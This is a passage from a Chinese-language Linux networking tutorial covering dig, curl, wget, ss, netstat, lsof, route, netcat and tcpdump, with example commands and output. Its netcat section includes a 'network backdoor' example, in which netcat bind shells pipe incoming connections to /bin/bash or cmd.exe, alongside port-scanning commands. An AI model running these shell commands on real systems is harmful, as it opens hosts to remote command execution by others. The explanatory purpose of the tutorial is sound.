qq.com.                 83      IN      A       183.3.226.35
qq.com.                 83      IN      A       203.205.254.157
qq.com.                 83      IN      A       123.151.137.18
qq.com.                 83      IN      A       61.129.7.47

仅查看记录的IP

有些场景下,仅需要域名的ip地址(即a记录),可以使用 +short 选项。

dig qq.com +short
123.151.137.18
203.205.254.157
183.3.226.35
61.129.7.47

+short 也可指定类型

dig qq.com a +short

111.30.144.71
112.53.26.232

dig qq.com mx +short

10 mx3.qq.com.
20 mx2.qq.com.
30 mx1.qq.com.

反向查找

可以使用dig-x 进行ip地址反向查找DNS,场景:如果只有一个外部ip地址,并且希望知道属于它的网站时。当然过了CDN的域名,只会显示对应CNAME

dig -x 203.205.254.157 +short

使用指定DNS来进行查询

默认情况下,dig 使用 /etc/resolv.conf 文件中定义的DNS。如果要使用其他DNS执行查询,使用 @dnsserver

dig @8.8.8.8 www.qq.com +short

ins-r23tsuuf.ias.tencent-cloud.net.
109.244.236.76
109.244.236.65

批量查询

进行批量查询时可以不用通过shell循环查询了,dig提供了批量查询的功能。使用dig -f 从文件内进行批量DNS查询。

echo www.qq.com > dns.txt
echo www.baidu.com >> dns.txt

dig -f dns.txt +noall +answer

www.baidu.com.          678     IN      CNAME   www.a.shifen.com.
www.a.shifen.com.       106     IN      A       14.215.177.39
www.a.shifen.com.       106     IN      A       14.215.177.38
www.qq.com.             60      IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.65
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A     109.244.236.76

也可以在命令行直接根多个域名即可,这样查询结果相比于shell循环查询会简洁很多。

dig qq.com mx +noall +answer baidu.org ns +noall +answer

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> qq.com mx +noall +answer baidu.org ns +noall +answer
;; global options: +cmd
qq.com.                 4223    IN      MX      10 mx3.qq.com.
qq.com.                 4223    IN      MX      20 mx2.qq.com.
qq.com.                 4223    IN      MX      30 mx1.qq.com.
baidu.org.              300     IN      NS      ns4.brandshelter.net.
baidu.org.              300     IN      NS      ns3.brandshelter.info.
baidu.org.              300     IN      NS      ns2.brandshelter.de.
baidu.org.              300     IN      NS      ns5.brandshelter.us.
baidu.org.              300     IN      NS      ns1.brandshelter.com.

设置dig默认选项

如别名 alias 一样,在查询中不想输入过多的 +noall +answer 之类,可以在 $HOME/.digrc 设置dig 的默认参数,这样只需和平时一样使用 dig domain 即可。

cat <<EOF >${HOME}/.digrc
+noall +answer
EOF

dig www.qq.com

www.qq.com.             247     IN      CNAME   ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 67 IN A     109.244.236.76
ins-r23tsuuf.ias.tencent-cloud.net. 67 IN A     109.244.236.6

wget 用于从web下载文件的命令行程序。wget,可以使用 HTTPHTTPSFTP 协议下载文件。wget还允许下载多个文件、断点续传、限速、递归下载、后台下载、镜像网站等等。

curl是Linux命令行工具,可以使用任何可支持的协议(如HTTP、FTP、IMAP、POP3、SCP、SFTP、SMTP、TFTP、TELNET、LDAP或FILE)在服务器之间传输数据。

在Linux下,curl是由 libcurl 提供驱动封装的cli客户端,在 libcurl 驱动下,curl可以一次传输多个文件。而PHP中的cURL函数,也是基于libcurl驱动的。

各系统下的安装

  • Ubuntu/Debian: curl |wgetapt install curl | apt install wget
  • Centos/Fedora: curl | wgetyum install -y curl | yum install -y wget
  • Apline:curl | wgetapk add --no-cache curl | apk add --no-cache wget

curl

cURL常用参数

参数

说明

-i

默认隐藏响应头,此选项打印响应头与

-I/--head

仅显示响应头

-o

将相应内容保存指定路径下

-O

将相应内容保存在当前工作目录下

-C

断点续传,在 crtl + c终端后,可以从中断后部分开始

-v

显示请求头与响应头

-x

使用代理

-X

指定请求方法,POST GET PUT DELETE等

-d

如GET/POST/PUT/DELETE 需要传的表单参数,如JSON格式

-u username:password

当使用ftp有用户名可以使用-u,ftp允许匿名用户访问可以忽略

–-limit-rate 2000B

限速

-T/--upload-file

上传一个文件

-c/--cookie-jar

将cookie下载到文件内

-k/--insecure

允许执行不安全的ssl连接,即调过SSL检测

--header 'Host: targetapplication.com'

使用请求头

-L/--location

接受服务端redirect的请求

-F

上传二进制文件

限制下载速率

curl --limit-rate 100K http://yourdomain.com/yourfile.tar.gz -O

使用代理访问

curl --proxy yourproxy:port https://yoururl.com

限速访问

curl www.baidu.com  --limit-rate 1k

存储cookie和使用cookie

[root@VM-0-2-centos ~]# curl --cookie-jar cnncookies.txt https://www.baidu.com/index.html -O -s -v
* About to connect() to www.baidu.com port 443 (#0)
*   Trying 14.215.177.39...
* Connected to www.baidu.com (14.215.177.39) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*       subject: CN=baidu.com,O="Beijing Baidu Netcom Science Technology Co., Ltd",OU=service operation department,L=beijing,ST=beijing,C=CN
*       start date: Apr 02 07:04:58 2020 GMT
*       expire date: Jul 26 05:31:02 2021 GMT
*       common name: baidu.com
*       issuer: CN=GlobalSign Organization Validation CA - SHA256 - G2,O=GlobalSign nv-sa,C=BE
> GET /index.html HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.baidu.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2443
< Content-Type: text/html
< Date: Wed, 26 May 2021 12:14:41 GMT
< Etag: "58860402-98b"
< Last-Modified: Mon, 23 Jan 2017 13:24:18 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
* Added cookie BDORZ="27315" for domain baidu.com, path /, expire 1622117681
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/
<
{ [data not shown]
* Connection #0 to host www.baidu.com left intact


# Netscape HTTP Cookie File
# http://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

.baidu.com      TRUE    /       FALSE   1622117681      BDORZ   27315


[root@VM-0-2-centos ~]# curl --cookie cnncookies.txt https://www.baidu.com -s -v -o /dev/null
* About to connect() to www.baidu.com port 443 (#0)
*   Trying 14.215.177.39...
* Connected to www.baidu.com (14.215.177.39) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*       subject: CN=baidu.com,O="Beijing Baidu Netcom Science Technology Co., Ltd",OU=service operation department,L=beijing,ST=beijing,C=CN
*       start date: Apr 02 07:04:58 2020 GMT
*       expire date: Jul 26 05:31:02 2021 GMT
*       common name: baidu.com
*       issuer: CN=GlobalSign Organization Validation CA - SHA256 - G2,O=GlobalSign nv-sa,C=BE
> GET / HTTP/1.1
> User-Agent: curl/7.29.0
> Host: www.baidu.com
> Accept: */*
> Cookie: BDORZ=27315
>
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2443
< Content-Type: text/html
< Date: Wed, 26 May 2021 12:23:27 GMT
< Etag: "58860402-98b"
< Last-Modified: Mon, 23 Jan 2017 13:24:18 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
* Replaced cookie BDORZ="27315" for domain baidu.com, path /, expire 1622118207
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/  # 这里可以看到设置的cookie
<
{ [data not shown]
* Connection #0 to host www.baidu.com left intact

使用代理

curl -x socks5://127.0.0.1:10808 https://www.google.com

使用application/x-www-form-urlencoded表单类型

这里使用的为application/x-www-form-urlencoded

curl -d "option=value&something=anothervalue" -X POST https://{hostname}/

使用json格式作为body

curl  -H "Content-Type: application/json" -X POST https://host.com/ \
    -d '
    {
        "option": "value",
        "something": "anothervalue"
    }'

使用curl 上传文件

curl {host}/api/v1/upimg -F "file=@/Users/fungleo/Downloads/401.png" \
    -H "token: 222" \
    -v

也可以指定MIME类型。如:

curl -F 'file=@photo.png;type=image/png' https://{host}/api/v1/upimg

curl输出的格式变量

curl -w参数提供了一些格式变量,可以达到紧紧获取某些数据

仅获取http状态码

curl -w %{http_code} www.baidu.com -o /dev/null -s

获取整个请求的时间

获取整个请求的耗时,单位秒,显示单位 毫秒

curl -w %{time_total} www.baidu.com -o /dev/null -s

获取域名解析时间

curl -w %{time_namelookup} www.baidu.com -o /dev/null -s

获取TCP连接耗时

curl -w %{time_connect} www.baidu.com -o /dev/null -s

获取SSL/SSH握手到远程主机耗时

curl -w %{time_appconnect} https://www.baidu.com -o /dev/null -s -v

获取所有重定向的耗时

这里是从查找、连接、传输整个事务的完成到开始传送数据之前的耗时

curl -w %{time_redirect} www.baidu.com -o /dev/null -s

获得下载的总字节数

这里是http相应的body长度,而不是加上头部的大小

curl -w %{size_download} www.baidu.com -o /dev/null -s


[root@VM-0-2-centos ~]# curl -w %{size_download} www.baidu.com -o /dev/null -s
2381
[root@VM-0-2-centos ~]# cwww.baidu.com -s|wc l -s
      2     159    2381

获得请求体送字节数

curl -w %{size_request} www.baidu.com -o /dev/null -s

获得传输中的连接数

curl -w %{num_connects} www.baidu.com -o /dev/null -s

获得重定向次数

curl -w %{num_redirects} www.360buy.com -o /dev/null -s  -L

获得SSL验证结果

0 表示是成功的

curl -w %{ssl_verify_result} https://www.baidu.com -o /dev/null -s -L

获得重定向的地址

当没有指定-L时,会返回被重定向后的地址

curl -w %{redirect_url} https://www.360buy.com -o /dev/null -s

获得上传和下载速度

curl -w %{speed_download} https://www.360buy.com -o /dev/null -s
curl -w %{speed_upload} https://www.360buy.com -o /dev/null -s

根据自己需要拼接特定格式

curl -w "总共请求时长:%{time_total}\n总跳转次数:%{num_redirects}\n" \
www.360buy.com \
-o /dev/null -s  \
-L

总共请求时长:1.338
总跳转次数:3

wget

简单使用

使用wget最简单的方法是为它提供通过HTTP下载的文件的位置。如,下载文件。

wget http://website.com/files/file.zip

该操作会将文件下载到工作目录中。

下载文件并保存为指定名称

wget –O [file_name] [URL]

将文件下载到指定目录

默认情况下,wget下载的文件保存在用户所在工作目录中。使用 –P 可以将文件保存到指定路径。

wget –P [wanted_directory] [URL]

设置下载速度

在下载时可以设置下载时最大使用带宽,这样就不会使用主机全部的可用带宽。下载速度以 km 定义单位。

wget --limit-rate [wanted_speed] [URL]

wget --limit-rate 1m http://us.download.nvidia.com/tesla/396.37/nvidia-diag-driver-local-repo-ubuntu1710-396.37_1.0-1_amd64.deb

断点续传

如果在下载时取消,wget提供了可以在中断前停止的地方继续下载。当下载文件时连接丢失时,这个非常有用。

wget –c [URL]

下载多个文件

wget也提供了下载多个文件的方法:

方法1:将需要下载的文件地址保存在文件中 使用 -i 指定文件,每个URL 单独占一行

wget –i [file_name]

下载网页(网站镜像)

使用 –m 下载URL中包含的所有连接,结果会保存为一个文件夹

wget –m [URL]

FTP下载

wget也可以下载FTP文件,当需要认证时,可以指定FTP的用户名和密码,然后接FTP地址:

wget --ftp-user=[ftp_username] --ftp-password=[ftp_password] ftp://...

后台下载

当下载文件很大时,wget也支持后台下载文件,在网络不稳定命令行断开时很实用。

wget –b [URL]

可以使用命令 tail –f wget –log 来检查下载状态

中断重试次数

当网络中断后,wget也支持设置在网络中断后尝试下载文件的次数:

wget --tries=[number_of_tries] [URL]

忽略证书验证

默认情况下,wget会验证服务端SSL/TLS证书是否有效。如果识别到无效的证书,它将拒绝下载。当在访问自签名证书时,可以使用--no-check-certificate 忽略验证

wget --no-check-certificate [URL]

自定义User-Agent

当服务端阻止了特定的 User-Agent 时,可以进行自定义 User-Agent 设置。

wget --user-agent=”User Agent Here” “[URL]”

实用技巧-下载内容到标准输出stdout

如在下载一个tar包时,一般都是wget 后 在tar 解压到对应目录,可以使用 -O - 将其下载到标准输出,-q 静默方式,通过管道直接解压到对应的路径下。

wget -q -O - "http://wordpress.org/latest.tar.gz" | tar -xzf - -C /var/www

netstat (network statistics) 命令行工具,用于监视传入和传出的网络连接,以及查看路由表、接口统计等。netstat在所有类似Unix的操作系统上都可用,在Windows操作系统上也可用,是最基本的网络服务调试工具。

ss (socket statistics) 命令行工具,用于在Linux系统上显示与网络套接字相关的信息。

不过,现在netstat 命令早已被弃用,取而代之的是 iproute 套件中的 ss。ss比起 netstatss 能够显示有关网络连接的详细信息,并且速度更快。netstat/proc 文件收集信息,当有大量连接要打印时,netstat 效率很低。而ss 是直接从内核空间获取信息。并且ss命令在使用起来与netstat 非常相似,用户几乎可以无缝切换。

各系统下的安装

  • ss

  • Ubuntu/Debian: iproute2apt install iproute2

  • Centos/Fedora: iprouteyum install -y iproute

  • Apline:iprouteapk add --no-cache iproute

  • netstat

  • Ubuntu/Debian: net-toolsapt install net-tools

  • Centos/Fedora: net-toolsyum install -y net-tools

  • Apline:net-toolsapk add --no-cache net-tools

ss

查看所有连接

没有任何选项的ss命令只列出所有连接。

查看Listening 与 Non-listening Ports

ss -a

查看监听 套接字列表

这里列出所有监听套接字,不关其是服务监听还是客户端请求占用

ss -l

查看所有TCP连接

这里只所有的tcp连接, 包含客户端与服务端

ss -t

查看所有监听类型的tcp连接

ss -lt

查看所有udp连接

ss -ua

查看监听类型的UDP连接

ss -lu

显示socket的pid进程id

ss -p

显示连接摘要信息

ss -s

显示ipv6或ipv4 连接

ss -4
ss -6

筛选连接

语法

ss [ OPTIONS ] [ STATE-FILTER ] [ ADDRESS-FILTER ]

ss命令还提供了筛选方法,过滤套接字端口或地址。例如,要显示具有ssh服务的源端口与目标端口(即监听与客户端连接)。

 ss -at '( dport = :22 or sport = :22 )'

也可以通过服务名称进行过滤

ss -at '( dport = :ssh or sport = :ssh )'

仅显示所有处于 established 状态的Ipv4 tcp套接字。

ss -t4 state established -n

Recv-Q Send-Q   Local Address:Port    Peer Address:Port
0      0        172.16.0.2:22         61.50.248.5:22005
0      0        172.16.0.2:42930      169.254.0.55:5574
0      0        172.16.0.2:22         61.50.248.5:22008
0      0        172.16.0.2:22         61.50.248.5:22003
0      0        172.16.0.2:40652      94.130.12.30:443
0      36       172.16.0.2:22         61.50.248.5:22012
0      0        172.16.0.2:22         61.50.248.5:22004

列出状态为time wait的套接字

ss -t4 state time-wait -n

这里状态可以为下面的任意一种

  • established
  • syn-sent
  • syn-recv
  • fin-wait-1
  • fin-wait-2
  • time-wait
  • closed
  • close-wait
  • last-ack
  • closing
  • all 上面所有状态
  • connected 除listen和closed之外的所有状态
  • synchronized 除syn-sent之外的所有连接状态
  • 显示状态,这些被维护为mini sockets,即 time-waitsyn-recv
  • big 与bucket选项相反

过滤地址

ss -nt dst 74.125.236.178

还可以过滤网段

ss -nt dst 74.125.236.178/16

ip和端口的组合

ss -nt dst 74.125.236.178:80

源地址为127.0.0.1,且源端口大于5000

ss -nt src 127.0.0.1 sport gt :5000

源端口为25的smtp套接字

ss -ntlp sport eq :smtp

端口号大于25

ss -nt sport gt :1024

远程端口小于100的套接字

ss -nt dport &lt; :100

连接到远程80端口的

ss -nt state connected dport = :80

不解析主机名

可以通过 -n 选项阻止ss 将ip解析为主机名,来达到更快地获得输出,但这也无法进行到端口号的解析。

ss -at '( dport = :22 or sport = :22 )'

State      Recv-Q Send-Q     Local Address:Port       Peer Address:Port
LISTEN     0      128                  *:ssh                     *:*
ESTAB      0      0          172.16.0.2:ssh           111.206.214.55:49374
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost005
ESTAB      0      36         172.16.0.2:ssh           61.50.248.5:22008
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost003
ESTAB      0      0          172.16.0.2:ssh           61.50.248.5:optohost004
LISTEN     0      128               [::]:ssh                     [::]:*                    

ss -at '( dport = :22 or sport = :22 )' -n
State      Recv-Q Send-Q   Local Address:Port         Peer Address:Port
LISTEN     0      128                  *:22                        *:*
ESTAB      0      0        172.16.0.2:22              111.206.214.55:49374
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22005
ESTAB      0      36       172.16.0.2:22              61.50.248.5:22008
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22003
ESTAB      0      0        172.16.0.2:22              61.50.248.5:22004
LISTEN     0      128            [::]:22                          [::]:*

仅显示监听套接字

ss -ltn

要列出所有侦听的udp连接,请将t替换为u

ss -lun

显示时间信息

可以使用 -o 选项,来获得每个连接的时间信息。通过timer得知

ss -tn -o

State      Recv-Q Send-Q     Local Address:Port    Peer Address:Port
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22005   timer:(keepalive,40min,0)
ESTAB      0      0          172.16.0.2:42930      169.254.0.55:5574
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22008   timer:(keepalive,64min,0)
ESTAB      0      0          172.16.0.2:44900      169.254.0.55:80     timer:(keepalive,13sec,0)
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22003   timer:(keepalive,40min,0)
ESTAB      0      36         172.16.0.2:22         61.50.248.5:22012   timer:(on,347ms,0)
ESTAB      0      0          172.16.0.2:39316      94.130.12.30:443    timer:(keepalive,50sec,0)
ESTAB      0      0          172.16.0.2:22         61.50.248.5:22004   timer:(keepalive,40min,0)

netstat

  • 列出所有tcp与udp的连接的所有端口 netstat -a
  • 仅列出tcp (Transmission Control Protocol) 端口的连接 netstat -at
  • 仅列出udp (User Datagram Protocol ) 端口的连接 netstat -au
  • 列出所有活动监听端口连接 netstat -l
  • 列出TCP监听端口 netstat -lt
  • 列出udp监听端口 netstat -lu
  • 列出unix socket 监听端口 netstat -lx
  • 显示统计信息 netstat -s
  • 显示tcp的统计信息 netstat -st
  • 显示udp的统计信息 netstat -su
  • 显示服务名与PID号 netstat -tp
  • 显示混杂模式,类似watch 每5s 刷新 netstat -ac 5 | grep tcp
  • 显示内核路由表,类似 route -n 命令;netstat -r
  • 显示网络接口数据包事务,包括传输和接收MTU大小的数据包。 netstat -i
  • 显示内核接口表,类似 ifconfig 命令。 netstat -ie
  • 显示IPv4和IPv6的广播信息。netstat -g
  • 混杂模式,间隔时间打印netstat命令的信息 netstat -c [second] -ltnp
  • 显示原始网络信息统计 netstat --statistics --raw

lsof (LiSt Open Files),主要用来找出哪个进程打开了哪些文件。众所周知,Linux是一个基于文件的操作系统(管道、套接字、目录、设备等)。使用lsof也可以排查一些网络问题。如未关闭的文件不能被移动或删除,网络端口使用的文件等,都可以通过lsof快速定位。

> 各系统下的安装

  • Ubuntu/Debian: lsofapt install lsof
  • Centos/Fedora: lsofyum install -y lsof
  • Apline:lsofapk add lsof --no-cache

列出所有打开的文件

不带任何参数的情况下运行lsof,可以列出所有打开的文件

lsof

列出用户进程使用的文件

lsof 可以查看特定用户进程使用的哪些文件,使用-u

lsof -u root

根据网络地址查找文件

lsof -i 4

按照程序名称列出所打卡的文件

这里不必使用完整的程序名,会列出所有以 name开头的进程应用使用的文件

lsof -u nginx

列出进程使用的文件

使用 -p [pid] k可以显示进程打开的文件,可以通过 ^ 来排除特定的PID。

lsof -p [pid]
lsof -p [^pid]

找到使用文件的进程

使用 -t 餐食可以找到哪些进程使用了该文件

lsof -t [file_name]

列出目录中所有打开的文件

+D 餐食可以对目录的所有打开实例(包括它包含的所有文件和目录)进行搜索。

lsof +D [dir]

列出网络文件

-i 侦听特定端口号的进程或应用程序,如检查了哪个程序进程正在使用端口80。

lsof -i:80

还可以根据端口范围进程查找

lsof -i:1-1024

根据网络连接类型来查找文件

lsof还可以根据连接的类型列出文件。例如,TCP使用的文件

lsof -i tcp

拿到进程的父进程ID

lsof -R 可以拿到进程的父进程IP输出中列出父进程标识(PPID Parent Process IDentification)。

lsof -p [] -R

查看用户的网络连接

结合使用 -i-u 命令行选项,我们可以搜索Linux用户的所有网络连接。可以按照需要检查一个被黑客攻击的系统,如我们检查用户root的所有网络活动:

lsof -a -i -u root

列出所有内存映射文件

lsof -d mem

在Linux中,route命令用于处理IP/内核路由表。主要用于通过网络接口建立到主机/IP的静态路由。它用于显示或更新IP/内核路由表。

各系统下的安装

  • Ubuntu/Debian: net-toolsapt install net-tools
  • Centos/Fedora: net-toolsyum install -y net-tools
  • Apline:net-toolsapk add net-tools --no-cache

route命令不加任何参数,默认情况下将显示内核路由表条目的详细信息。当包在这个路由IP范围内发送时,通过ARP协议找到目的地的MAC地址,包将被发送到MAC地址。

当在路由条目中找不到对应的路由信息,数据包将被转发到默认网关,该网关决定该数据包的进一步路由。

route命令不加参数,会在输出时显示为主机名,这时解析会影响性能。可以使用 -n 选项请求不显示主机名。

route -n

添加默认网关

可以使用 route add 命令添加一个默认网关。

route add default gw 10.0.0.1

添加一条路由

这里添加一条,将通过10.0.0.0/24的流量由eth0设备通过 添加一条路由,如下所示。

route add -net 10.0.0.0 netmask 255.255.255.0 dev eth0

-net 目标网络

dev 将规则和设备关联在一起

添加一个目标主机

route add -host 12.123.0.10 gw 192.168.1.1 enp0s3

列出内核路由表信息

内核维护了路由缓存以更快地路由数据包。可以使用 -C 来打印内核的路由缓存信息。

route -Cn

Kernel IP routing cache
Source          Destination     Gateway         Flags Metric Ref    Use Iface
10.0.0.4        10.0.0.1        10.0.0.1              0      1        0 eth0
10.0.0.1        10.0.0.4        10.0.0.4        il    0      0       44 lo
10.0.0.1        10.0.0.255      10.0.0.255      ibl   0      0        7 lo

拒绝路由到特定的主机

有些场景下,可能需要拒绝数据包路由到特定的主机/网络。

route add -host 192.168.1.51 reject

可以看到路由已经不会路由该流量了

ping 10.0.0.2
connect: No route to host

如果需要拒绝整个网络可以这样

route add -net 192.168.1.0 netmask 255.255.255.0 reject

删除一条路由

# 删除默认路由
route del default
# 删除刚才添加的拒绝路由
route del -host 10.0.0.2 reject

netcat

netcat(简称nc)是一款功能强大的网络命令行工具,用于在Linux中执行与TCP、UDP或UNIX域套接字相关的任何操作。netcat可以用于端口扫描、端口重定向,作为端口监听器(用于传入连接);它还可以用来打开远程连接和其他许多事情。此外,还可以将其用作访问目标服务器的后门。netcat还因此被称为TCP/IP的“瑞士军刀”。

各系统下的安装

  • Ubuntu/Debian: netcatapt install netcat
  • Centos/Fedora: ncyum install -y nc
  • Apline:netcat-openbsdapk add --no-cache netcat-openbsd

端口扫描

netcat可以用于端口扫描:了解哪些端口是开放的,并且在目标机器上运行服务。它可以扫描单一或多个开防的端口。如示例,-z 选项将nc设置为只扫描监听守护进程,而不实际向它们发送任何数据。-v 选项启用详细模式,-w 为无法建立连接时超时时间。

nc -v -w 10 -z 195.133.11.43 22

Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 195.133.11.43:22.
Ncat: 0 bytes sent, 0 bytes received in 0.25 seconds.

也可以扫描一个范围

nc -v -n -z -w 1 127.0.0.1 1-1000

在服务器间传送文件

netcat可以在两台服务器之间传输文件,这两个系统都必须安装nc。例如,要将ISO映像文件从一台计算机复制到另一台计算机并监视传输进度(使用pv),请在发送方/接收端上运行以下命令。

将以netcat 的监听模式 -l

tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso  | pv | nc -l -p 3000 -q 5

在接受端运行命令

nc 192.168.1.4 3000 | pv | tar -zxf -

使用netcat实现一个命令行聊天服务器

可以使 netcat 创建一个简单的命令行消息服务器,前提条件是nc必须安装在两个系统上。在服务端,运行命令来创建监听端口5555的聊天服务器。

nc -l -vv -p 5000

在客户端上,运行命令连接到服务端进行聊天会话。

nc {ip} 5000

使用nc创建一个web服务器

使用nc -l 选项可以创建一个基础的不安全的web服务器,需要一个静态html文件。然后可以通过 while 保持netcat命令不退出。正常情况下,netcat在连接断开时退出。

while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat 1.html; ) | nc -l -p 8080 ; done


[root@vm207694 ~]# while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat 1.html; ) | nc -l -p 8080 ; done
GET / HTTP/1.1
Host: ip:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6

网络故障排查

netcat 主要常用的一个方面时排查网络连接故障,可以使用 netcat 来验证服务器正在发送哪些数据以响应客户端发出的命令。

使用命令的可以输出包括web服务器发送的标头,这些标头可用于故障排除。也可以使用 curl 等命令进行同样的操作。

printf "GET / HTTP/1.0\r\n\r\n" | nc baidu.com 80

HTTP/1.1 200 OK
Date: Mon, 28 Jun 2021 12:16:55 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Tue, 29 Jun 2021 12:16:55 GMT
Connection: Close
Content-Type: text/html

<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>

查找端口上运行的服务

使用 netcat 可以获取服务监听端口的信息,单一般情况下,仅常见公共服务会这样,一些服务并不会相应对应的应用名称。。-n 标志表示禁用DNS或服务查找。

nc -v -n 195.133.11.43 22
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 195.133.11.43:22.
SSH-2.0-OpenSSH_7.4

网络后门

一般情况下,黑客将 netcat 当作网络后门来运行,通过反弹式shell以获取远程命令。要充当后门。-e 在目标系统上运行的命令。

如监听一个端口,并将所有传入的输入传递给bash命令,结果将传送于客户端。

# linux
nc -l -p -v 3001  -e /bin/bash

# windows
nc -l -p 3001  -e cmd.exe

检查一个udp端口

-z:无法进行I/O ,仅报告连接状态

-u:使用udp协议

nc -vz -u

tcpdump网络嗅探器,将强大和简单结合到一个单一的命令行界面中,能够将网络中的报文抓取,输出到屏幕或者记录到文件中。

各系统下的安装

  • Ubuntu/Debian: tcpdumpapt-get install -y tcpdump
  • Centos/Fedora: tcpdumpyum install -y tcpdump
  • Apline:tcpdumpapk add tcpdump --no-cache

查看指定接口上的所有通讯

语法

参数

说明

-i [interface]

 -w [flle]

第一个n表示将地址解析为数字格式而不是主机名,第二个N表示将端口解析为数字格式而不是服务名

-nn

-X

hex and ASCII

-A

ASCII

-XX

-v

详细信息

-r

读取文件而不是实时抓包

关键字

type

host、net、port、portrange

direction

src、dst、src or dst 、src and ds

protocol

ether、ip,arp、tcp、udp、wlan

捕获所有网络接口

tcpdump -D

按IP查找流量

最常见的查询之一 host,可以看到来往于 1.1.1.1 的流量。

tcpdump host 1.1.1.1

按源/目的 地址过滤

如果只想查看来自/向某方向流量,可以使用 srcdst

tcpdump src|dst 1.1.1.1

通过网络查找数据包

使用 net 选项,来要查找出/入某个网络或子网的数据包。

tcpdump net 1.2.3.0/24

使用十六进制输出数据包内容

hex 可以以16进制输出包的内容

tcpdump -c 1 -X icmp

查看特定端口的流量

使用 port 选项来查找特定的端口流量。

tcpdump port 3389
tcpdump src port 1025

查找端口范围的流量

tcpdump portrange 21-23

过滤包的大小

如果需要查找特定大小的数据包,可以使用以下选项。你可以使用 lessgreater

tcpdump less 32
tcpdump greater 64
tcpdump <= 128

捕获流量输出为文件

-w 可以将数据包捕获保存到一个文件中以便将来进行分析。这些文件称为PCAP(PEE-cap)文件,它们可以由不同的工具处理,包括 Wireshark

tcpdump port 80 -w capture_file

组合条件

tcpdump也可以结合逻辑运算符进行组合条件查询

  • AND

    and or &&

  • OR

    or or ||

  • EXCEPT

    not or !

    tcpdump -i eth0 -nn host 220.181.57.216 and 10.0.0.1 # 主机之间的通讯
    tcpdump -i eth0 -nn host 220.181.57.216 or 10.0.0.1

    获取10.0.0.1与 10.0.0.9或 10.0.0.1 与10.0.0.3之间的通讯

    tcpdump -i eth0 -nn host 10.0.0.1 and (10.0.0.9 or 10.0.0.3)

原始输出

并显示人类可读的内容进行输出包(不包含内容)。

tcpdump -ttnnvvS -i eth0

IP到端口

让我们查找从某个IP到端口任何主机的某个端口所有流量。

tcpdump -nnvvS src 10.5.2.3 and dst port 3389

去除特定流量

可以将指定的流量排除,如这显示所有到192.168.0.2的 非ICMP的流量。

tcpdump dst 192.168.0.2 and src net and not icmp

来自非指定端口的流量,如,显示来自不是SSH流量的主机的所有流量。

tcpdump -vv src mars and not dst port 22

选项分组

在构建复杂查询时,必须使用单引号 '。单引号用于忽略特殊符号 () ,以便于使用其他表达式(如host、port、net等)进行分组。

tcpdump 'src 10.0.2.4 and (dst port 3389 or 22)'

过滤TCP标记位

TCP RST

The filters below find these various packets because tcp[13] looks at offset 13 in the TCP header, the number represents the location within the byte, and the !=0 means that the flag in question is set to 1, i.e. it’s on.

tcpdump 'tcp[13] & 4!=0'
tcpdump 'tcp[tcpflags] == tcp-rst'

TCP SYN

tcpdump 'tcp[13] & 2!=0'
tcpdump 'tcp[tcpflags] == tcp-syn'

同时忽略SYN和ACK标志的数据包

tcpdump 'tcp[13]=18'

TCP URG

tcpdump 'tcp[13] & 32!=0'
tcpdump 'tcp[tcpflags] == tcp-urg'

TCP ACK

tcpdump 'tcp[13] & 16!=0'
tcpdump 'tcp[tcpflags] == tcp-ack'

TCP PSH

tcpdump 'tcp[13] & 8!=0'
tcpdump 'tcp[tcpflags] == tcp-push'

TCP FIN

tcpdump 'tcp[13] & 1!=0'
tcpdump 'tcp[tcpflags] == tcp-fin'

查找http包

查找 user-agent 信息

tcpdump -vvAls0 | grep 'User-Agent:'

查找只是 GET 请求的流量
